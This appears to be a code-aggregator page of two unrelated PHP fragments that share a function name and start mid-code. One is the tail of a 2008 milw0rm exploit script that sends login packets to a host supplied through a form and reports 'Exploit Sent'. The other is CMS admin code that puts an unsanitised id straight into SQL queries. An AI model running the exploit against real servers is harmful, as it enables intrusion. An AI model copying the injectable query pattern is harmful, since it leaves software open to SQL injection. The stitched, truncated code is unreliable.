<?php

dowork();
Example #2
0
        } else {
            fwrite($fsock, LOGIN_PACKET_2());
        }
        $resp = fread($fsock, 100);
    }
}
if (isset($_POST['host']) && isset($_POST['port'])) {
    if (empty($_POST['pass'])) {
        $password = "******";
    } else {
        $password = $_POST['pass'];
    }
    $fserver = $_POST['host'];
    $fport = $_POST['port'];
    if (isset($_POST['auth'])) {
        $fauth = true;
    } else {
        $fauth = false;
    }
    # we have to connect 2 times
    $result = dowork($fserver, $fport, $password, $fauth);
    $result = dowork($fserver, $fport, $password, $fauth);
    # parsing result
    echo "Exploit Sent";
}
?>

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-06]
Example #3
0
    if (!$listdb) {
        showerr("请选择一条信息");
    }
    if ($jobs == "move") {
        $sort_fid = $Guidedb->Select("{$_pre}sort", "fid");
    }
    get_admin_html('work');
} elseif ($action == "work") {
    if (!$listdb && !$id) {
        showerr("请选择一条信息");
    } elseif (is_array($listdb)) {
        foreach ($listdb as $key => $value) {
            dowork($key, $jobs);
        }
    } elseif ($id) {
        dowork($id, $jobs);
    }
    $url = $fromurl ? $fromurl : $FROMURL;
    refreshto($url, "操作成功", 0);
}
function dowork($id, $job)
{
    global $db, $_pre, $timestamp, $userdb, $webdb, $Fid_db;
    $RS = $db->get_one("SELECT fid FROM {$_pre}db WHERE id='{$id}'");
    $_erp = $Fid_db[tableid][$RS[fid]];
    $rsdb = $db->get_one("SELECT * FROM {$_pre}content{$_erp} WHERE id='{$id}' ");
    if ($job == "delete") {
        del_info($id, $_erp, $rsdb);
        //$db->query(" UPDATE `{$_pre}sort` SET contents=contents-1 WHERE fid='$rsdb[fid]' ");
        //$db->query(" UPDATE `{$_pre}sort` SET contents=contents-1 WHERE fid='$fidDB[fup]' ");
    } elseif ($job == "move") {